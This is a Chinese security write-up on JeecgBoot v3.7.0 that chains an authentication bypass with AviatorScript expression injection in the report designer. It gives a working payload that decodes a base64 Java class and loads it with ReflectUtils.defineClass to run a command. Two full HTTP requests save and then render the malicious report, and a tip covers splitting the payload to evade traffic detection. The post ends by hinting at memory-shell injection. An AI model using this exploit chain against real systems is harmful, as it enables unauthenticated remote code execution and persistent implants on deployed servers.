JeecgBoot最新版权限绕过第二弹之内存马注入实录

环境

JeecgBoot v3.7.0

漏洞分析

由于代码不是很难,这里我主要分享一些我在突破内存马注入过程中的一些坑点

JeecgBoot后台存在这样一个功能,在积木报表中,支持使用一些表达式公式,但是它不会实时渲染,需要我们通过预览或者导出功能触发渲染

image-20240802203907967

那么自然而然,我们不难想到一点,去年积木报表就出过freemarker表达式的问题,在这里渲染时,是否也会触发呢,于是我们快乐的敲下了这样一行代码

image-20240802211142131

渲染时没反应,打开控制台我们看到了这样一串报错,可以发现确实解析了,同时也可以看到我们语法也存在一定问题,当然这不是很重要,第一步我只是想确认是否支持渲染freemarker表达式

image-20240802210845078

接下来查看渲染处理部分的代码发现,在org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils#a(java.lang.String, java.lang.String),这里使用了SAFER_RESOLVER,因此想快速通过这个点突破实现注入不太可能了

1
2
3
4
5
6
7
8
9
10
public Template a(String var1, String var2) throws IOException {
Configuration var3 = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
var3.setNumberFormat("#.##########");
var3.setClassForTemplateLoading(this.getClass(), var2);
var3.setDefaultEncoding("UTF-8");
var3.setClassicCompatible(true);
var3.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
Template var4 = var3.getTemplate(var1);
return var4;
}

接下来继续回到一开始提到的点,既然支持表达式,那么我们是否可以从官方文档入手尝试发现一些系统实现的表达式的一些问题呢?

从官网中我们可以看到:https://help.jeecg.com/jimureport/function/condition.html

可以看到这些用法还是很多的,在这里我们第一眼能看到支持自定义报表函数,可惜需要提前注册

image-20240802211826498

接下来,我们想快速定位表达式的处理,那么最快的方式就是让他报错

image-20240802212224624

随意输入一些字符我们可以发现,控制台果然出现了报错,从这里我们知道了使用了AviatorScript表达式处理

1
2
3
4
[Aviator WARN] The function 'max' is already exists, but is replaced with new one.
[Aviator WARN] The function 'min' is already exists, but is replaced with new one.
[Aviator WARN] The function 'concat' is already exists, but is replaced with new one.
2024-08-02 21:21:13.509 [http-nio-8080-exec-3] WARN o.j.modules.jmreport.desreport.express.ExpressUtil:360 - 执行表达式错误:: expression=zzz("Y4tacker"), env={ignore=[]}, error=Function not found: zzz

同时我们也快速定位到了对应处理的类org.jeecg.modules.jmreport.desreport.express.ExpressUtil

在这里我仅列出了表达式引擎初始部分的代码,在这里可以看到对于表达式没有任何的限制!!!

Ps: 关于这个表达式一个比较全面的中文文档:https://www.yuque.com/boyan-avfmj/aviatorscript/ou23gy#elOSu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
static AviatorEvaluatorInstance g = AviatorEvaluator.newInstance();
static {
g.setOption(Options.TRACE_EVAL, false);
g.setOption(Options.ALWAYS_PARSE_FLOATING_POINT_NUMBER_INTO_DECIMAL, true);
Sum var0 = new Sum();
g.addFunction(var0);
g.addFunction(var0.getName().toUpperCase(), var0);
Avg var1 = new Avg();
g.addFunction(var1);
g.addFunction(var1.getName().toUpperCase(), var1);
Max var2 = new Max();
g.addFunction(var2);
g.addFunction(var2.getName().toUpperCase(), var2);
Min var3 = new Min();
g.addFunction(var3);
g.addFunction(var3.getName().toUpperCase(), var3);
RowNum var4 = new RowNum();
g.addFunction(var4);
g.addFunction(var4.getName().toUpperCase(), var4);
Case var5 = new Case();
g.addFunction(var5);
g.addFunction(var5.getName().toUpperCase(), var5);
DateFormat var6 = new DateFormat();
g.addFunction(var6);
g.addFunction(var6.getName().toUpperCase(), var6);
DayFormat var7 = new DayFormat();
g.addFunction(var7);
g.addFunction(var7.getName().toUpperCase(), var7);
DayFormat2 var8 = new DayFormat2();
g.addFunction(var8);
g.addFunction(var8.getName().toUpperCase(), var8);
HourFormat var9 = new HourFormat();
g.addFunction(var9);
g.addFunction(var9.getName().toUpperCase(), var9);
HourFormat2 var10 = new HourFormat2();
g.addFunction(var10);
g.addFunction(var10.getName().toUpperCase(), var10);
MonthFormat var11 = new MonthFormat();
g.addFunction(var11);
g.addFunction(var11.getName().toUpperCase(), var11);
MonthFormat2 var12 = new MonthFormat2();
g.addFunction(var12);
g.addFunction(var12.getName().toUpperCase(), var12);
TimeFormat var13 = new TimeFormat();
g.addFunction(var13);
g.addFunction(var13.getName().toUpperCase(), var13);
YearFormat var14 = new YearFormat();
g.addFunction(var14);
g.addFunction(var14.getName().toUpperCase(), var14);
RoundFormat var15 = new RoundFormat();
g.addFunction(var15);
g.addFunction(var15.getName().toUpperCase(), var15);
FloorFormat var16 = new FloorFormat();
g.addFunction(var16);
g.addFunction(var16.getName().toUpperCase(), var16);
AbsFormat var17 = new AbsFormat();
g.addFunction(var17);
g.addFunction(var17.getName().toUpperCase(), var17);
CeilFormat var18 = new CeilFormat();
g.addFunction(var18);
g.addFunction(var18.getName().toUpperCase(), var18);
CharFormat var19 = new CharFormat();
g.addFunction(var19);
g.addFunction(var19.getName().toUpperCase(), var19);
Color var20 = new Color();
g.addFunction(var20);
g.addFunction(var20.getName().toUpperCase(), var20);
ColorRow var21 = new ColorRow();
g.addFunction(var21);
g.addFunction(var21.getName().toUpperCase(), var21);
TruncFormat var22 = new TruncFormat();
g.addFunction(var22);
g.addFunction(var22.getName().toUpperCase(), var22);
ConcatFormat var23 = new ConcatFormat();
g.addFunction(var23);
g.addFunction(var23.getName().toUpperCase(), var23);
LowerFormat var24 = new LowerFormat();
g.addFunction(var24);
g.addFunction(var24.getName().toUpperCase(), var24);
UpperFormat var25 = new UpperFormat();
g.addFunction(var25);
g.addFunction(var25.getName().toUpperCase(), var25);
CnMoneyFormat var26 = new CnMoneyFormat();
g.addFunction(var26);
g.addFunction(var26.getName().toUpperCase(), var26);
NowStrFormat var27 = new NowStrFormat();
g.addFunction(new NowStrFormat());
g.addFunction(var27.getName().toUpperCase(), var27);
IsTimeFormat var28 = new IsTimeFormat();
g.addFunction(new IsTimeFormat());
g.addFunction(var28.getName().toUpperCase(), var28);
IsDateFormat var29 = new IsDateFormat();
g.addFunction(new IsDateFormat());
g.addFunction(var29.getName().toUpperCase(), var29);
IsNumberFormat var30 = new IsNumberFormat();
g.addFunction(new IsNumberFormat());
g.addFunction(var30.getName().toUpperCase(), var30);
IntValFormat var31 = new IntValFormat();
g.addFunction(new IntValFormat());
g.addFunction(var31.getName().toUpperCase(), var31);
StrValFormat var32 = new StrValFormat();
g.addFunction(new StrValFormat());
g.addFunction(var32.getName().toUpperCase(), var32);
DateStrFun var33 = new DateStrFun();
g.addFunction(var33);
g.addFunction(var33.getName().toLowerCase(), var33);
g.addFunction(var33.getName().toUpperCase(), var33);
Date2Str var34 = new Date2Str();
g.addFunction(var34);
g.addFunction(var34.getName().toLowerCase(), var34);
g.addFunction(var34.getName().toUpperCase(), var34);
g.addOpFunction(OperatorType.DIV, new DivOperation());
g.addOpFunction(OperatorType.ADD, new AddOperation());
g.addOpFunction(OperatorType.SUB, new SubOperation());
g.addOpFunction(OperatorType.MULT, new MultOperation());
DateStr var35 = new DateStr();
g.addFunction(var35);
g.addFunction(var35.getName().toUpperCase(), var35);
VaildFormat var36 = new VaildFormat();
g.addFunction(var36);
g.addFunction(var36.getName().toUpperCase(), var36);
CountNoZero var37 = new CountNoZero();
g.addFunction(var37);
g.addFunction(var37.getName().toUpperCase(), var37);

try {
IJmExpressCustom var38 = (IJmExpressCustom)JimuSpringContextUtils.getBean(IJmExpressCustom.class);
if (var38 != null) {
var38.addFunction(g);
}
} catch (Exception var39) {
h.debug("未发现自定义函数 IJmExpressCustom 实现类 ~");
}

f = (List)g.getFuncMap().keySet().stream().filter(Objects::nonNull).filter((var0x) -> {
return var0x.matches("[\\w.]+");
}).map(String::toString).collect(Collectors.toList());
}

既然如此那么我们便找到了代码执行所在,秉持着能谷歌就不动手的理念,很快在github上搜到了想要的Payload

https://github.com/apache/hertzbeat/security/advisories/GHSA-mcqg-gqxr-hqgj

简单修改了一波,打算弹一个计算器

1
=(use org.springframework.util.ClassUtils;let loader = ClassUtils.getDefaultClassLoader();use org.springframework.util.Base64Utils;let str = Base64Utils.decodeFromString('yv66vgAAADQANgoADAAbCQAcAB0IAB4KAB8AIAoAIQAiCAAjCgAhACQHACUHACYKAAkAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITFlZRFNZNDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAlAQAKU291cmNlRmlsZQEAC1lZRFNZNC5qYXZhDAANAA4HACoMACsALAEAAzEyMwcALQwALgAvBwAwDAAxADIBABNvcGVuIC1uYSBDYWxjdWxhdG9yDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAA0ANQEABllZRFNZNAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACwAMAAAAAAACAAEADQAOAAEADwAAAC8AAQABAAAABSq3AAGxAAAAAgAQAAAABgABAAAACQARAAAADAABAAAABQASABMAAAAIABQADgABAA8AAAByAAMAAQAAAB+yAAISA7YABLgABRIGtgAHV6cADUu7AAlZKrcACr+xAAEACAARABQACAADABAAAAAaAAYAAAALAAgADQARABAAFAAOABUADwAeABEAEQAAAAwAAQAVAAkAFQAWAAAAFwAAAAcAAlQHABgJAAEAGQAAAAIAGg==');use org.springframework.cglib.core.ReflectUtils;ReflectUtils.defineClass('YYDSY4',str,loader);) 

成功触发,没毛病

image-20240802215747451

因此把这些步骤串起来

Step1:绕过鉴权保存表达式,记录response返回的id,在这里我把表达式中的Base64分离开,放在了其他单元格中,避免某些版本表达式部分长度太长报错,另外在某些低版本中,会对部分操作先将=替换为空再执行,因此可以结合这些点来绕过流量设备检测,但并不通用就是

1
2
3
4
5
6
POST /jeecg-boot/jmreport/save?previousPage=1&jmLink=WTR8fHRlc3Q= HTTP/1.1
Host: localhost:8080
Content-Type: application/json;charset=UTF-8
Content-Length: 5946

{"designerObj":{"id":"979228429299044352","code":"20240802135128","name":"ccc","note":null,"status":null,"type":"datainfo","jsonStr":"{\"loopBlockList\":[],\"printConfig\":{\"paper\":\"A4\",\"width\":210,\"height\":297,\"definition\":1,\"isBackend\":false,\"marginX\":10,\"marginY\":10,\"layout\":\"portrait\",\"printCallBackUrl\":\"\"},\"hidden\":{\"rows\":[],\"cols\":[]},\"dbexps\":[],\"dicts\":[],\"freeze\":\"A1\",\"dataRectWidth\":200,\"autofilter\":{},\"validations\":[],\"cols\":{\"len\":50},\"area\":{\"sri\":1,\"sci\":1,\"eri\":1,\"eci\":1,\"width\":100,\"height\":25},\"pyGroupEngine\":false,\"hiddenCells\":[],\"zonedEditionList\":[],\"rows\":{\"0\":{\"cells\":{\"1\":{\"text\":\"=(use org.springframework.util.ClassUtils;let loader = ClassUtils.getDefaultClassLoader();use org.springframework.util.Base64Utils;let str = Base64Utils.decodeFromString(A1);use org.springframework.cglib.core.ReflectUtils;ReflectUtils.defineClass('YYDSY4',str,loader);)\"}}},\"len\":100},\"rpbar\":{\"show\":true,\"pageSize\":\"\",\"btnList\":[]},\"fixedPrintHeadRows\":[],\"fixedPrintTailRows\":[],\"displayConfig\":{},\"background\":false,\"name\":\"sheet1\",\"styles\":[],\"freezeLineColor\":\"rgb(185, 185, 185)\",\"merges\":[]}","apiUrl":null,"apiMethod":null,"apiCode":null,"thumb":null,"template":0,"createBy":"admin","createTime":"2024-08-02 13:51:29","updateBy":null,"updateTime":"2024-08-02 13:51:29","dataList":null,"dictInfo":null,"delFlag":0,"viewCount":0,"cssStr":null,"jsStr":null,"pyStr":null,"tenantId":null,"isRefresh":null,"shareViewUrl":null},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=concat(\"yv66vgAAADQANgoADAAbCQAcAB0IAB4KAB8AIAoAIQAiCAAjCgAhACQHACUHACYKAAkAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITFlZRFNZNDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAlAQAKU291cmNlRmlsZQEAC1lZRFNZNC5qYXZhDAANAA4HACoMACsALAEAAzEyMwcALQwALgAvBwAwDAAxADIBABNvcGVuIC1uYSBDYWxjdWxhdG9yDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAA0ANQEABllZRFNZNAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACwAMAAAAAAACAAEADQAOAAEADwAAAC8AAQABAAAABSq3AAGxAAAAAgAQAAAABgABAAAACQARAAAADAABAAAABQASABMAAAAIABQADgABAA8AAAByAAMAAQAAAB+yAAISA7YABLgABRIGtgAHV6cADUu7AAlZKrcACr+xAAEACAARABQACAADABAAAAAaAAYAAAALAAgADQARABAAFAAOABUADwAeABEAEQAAAAwAAQAVAAkAFQAWAAAAFwAAAAcAAlQHABgJAAEAGQAAAAIAGg\",\"==\") "},"1":{"text":"=(use org.springframework.util.ClassUtils;let loader = ClassUtils.getDefaultClassLoader();use org.springframework.util.Base64Utils;let str = Base64Utils.decodeFromString(A1);use org.springframework.cglib.core.ReflectUtils;ReflectUtils.defineClass('YYDSY4',str,loader);)"}}},"len":100},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":{"sri":1,"sci":0,"eri":1,"eci":0,"width":100,"height":25},"dataRectWidth":200,"excel_config_id":"979228429299044352","pyGroupEngine":false}

Step2:

渲染执行表达式

1
2
3
4
5
6
POST /jeecg-boot/jmreport/show?previousPage=1&jmLink=WTR8fHRlc3Q= HTTP/1.1
Host: localhost:8080
Content-Type: application/json;charset=UTF-8
Content-Length: 253

{"id":"938680635597357056","apiUrl":"","params":"{\"pageNo\":1,\"pageSize\":10,\"jmViewFirstLoad\":\"1\"}"}

至于最终注入内存马,就不用我教了吧